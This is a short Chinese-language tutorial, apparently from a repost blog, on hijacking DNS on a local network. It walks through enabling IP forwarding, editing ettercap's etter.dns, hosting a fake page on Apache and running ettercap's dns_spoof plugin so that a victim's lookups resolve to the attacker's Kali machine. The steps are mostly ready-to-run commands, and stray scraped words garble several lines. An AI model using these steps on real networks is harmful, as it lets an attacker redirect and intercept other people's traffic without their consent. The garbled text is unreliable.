內網dns劫持

進行內網的dns劫持呢 ---> 咱們須要用到ettercap 和ettercap內置的工具dns_spoofhtml

1.咱們須要開啓ip轉發apache

echo 1 >/proc/sys/net/ipv4/ip_forward

2.對一些配置文件進行修改工具

  ①   /etc/ettercap/etter.dnsspa

  

  

  ② /var/www/html/index.htmlcode

    刪除最開始的代碼  (最好把最開始的代碼備份,以便還原)htm

    而後就能夠在這裏面能夠寫html代碼 blog

 

3.開啓apache2dns

service apache2 start

4.開啓ettercap的dns_spoofip

ettercap -Tq -i 網卡 -p dns_spoof

 

若是目標ip是物理機 那麼你就能夠在物理機上去訪問你劫持的網址了class

也能夠ping 這個網址  回顯的ip將是你kali的內網ip

相關文章
相關標籤/搜索